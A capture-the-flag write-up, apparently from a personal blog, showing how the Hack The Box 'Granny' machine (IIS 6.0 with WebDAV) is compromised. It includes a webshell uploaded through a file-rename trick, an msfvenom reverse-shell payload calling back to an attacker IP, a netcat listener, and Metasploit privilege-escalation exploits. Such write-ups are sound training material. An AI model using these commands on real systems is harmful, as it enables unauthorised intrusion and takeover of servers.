Buy me a tea

Hackthebox - Granny

  • Windows

Granny

Nmap

Port 80

Gobuster

Directory busting

  • The private folder is useless for now

  • We can also change our /etc/hosts file and add this list 10.10.10.15 granny.htb

Check for known vulnerabilities

Google fu

  • While gobuster is running, let's have a look in Google. IIS 6.0 seems to have a possible code execution vulnerability

Nmap with vuln script

  • Nmap has great scripts including some that will check for know vulnerabilities

  • The nmap enum is actually better than the wordlist I used with Gobuster. We get a few interesing directories.

Frontpage extension

  • According to our nmap we should be able to login anonymously. It refers us to this article

  • Googling around we also find this. Let's use burp and temper with the request.

  • Using it we can get more info. Our front page user name is "unknown" username

  • The server version is 4.0.2.2611 version

Davtest

  • With further research we find this article on null-byte

  • Davtest is able to create a directory and was able to execute html and txt. davtest

  • While browsing in the directories disclosed through nmap I saw an asmx file. Let's try to put an an asmx file test there.

  • Using cadaver cadaver http://10.10.10.15/DavTestDir_kbmSbjBY we can connect and upload files. I get forbidden with aspx and asmx files but txt and html works.

  • There is a kali webshell in aspx here /usr/share/webshells/aspx/cmdasp.aspx

  • Let's try to upload it as txt and then move it (we can move it with davtest move command)

  • cp cmdasp.aspx cmdasp.txt

  • put cmdasp.txt It works and we have it on the server cmdasp

  • move cmdasp.txt cmdasp.aspx we move it aspx

  • Now that we know we can do this let's make a payload with msfvenom and try to get a reverse shell msfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.2 LPORT=4444 -f aspx -o reverse.aspx.

  • We copy our payload to make a txt version cp reverse.aspx reverse.txt

  • We set a listener rlwrap nc -lnvp 4444

  • We put the txt file in the server and move it to make it executable by the server

  • We browse to http://10.10.10.15/DavTestDir_kbmSbjBY/reverse.aspx and get a shell shell

  • Our user is "network service"

Privilege escalation

  • Let's check for possible exploit with systeminfo we put the result of the command in a file.

  • Systeminfo

  • We can run windows exploit suggester on it python3 /opt/wesng/wes.py --color sysinfo.txt | grep -B 3 -A 5 "Privilege"

  • I want to use metasploit for the privesc so I am going to get a shell using exploit/windows/iis/iis_webdav_scstoragepathfromurl

  • This way I will also be able to check local exploit suggester

  • From our session we can run multi/recon/local_exploit_suggester

  • I do not get any result this way but from the previous check with wes we can try a few things like CVE-2014-4076.

  • We should also migrate the shell because the getuid gives odd results. we just have to ps while in our sessions and find a pid that runs NT AUTHORITY\NETWORK SERVICE

  • With a search on metasploit we find this exploit/windows/local/ms14_070_tcpip_ioctl

  • We can use it

  • we set the session with our session id set session 21 then run and this will elevate our session authority

  • The session dies really quickly so we need to find another exploit. We can try CVE-2014-4113 (or MS14_058)

  • We can use exploit/windows/local/ms14_058_track_popup_menu

  • Now we have to set session, set LHOST and choose a free port for LPORT.

  • Then if we run we get another system shell but this time it does not die on us and we can grab the flags. system2

PreviousHackthebox - GrandpaNextHackthebox - Inject

Last updated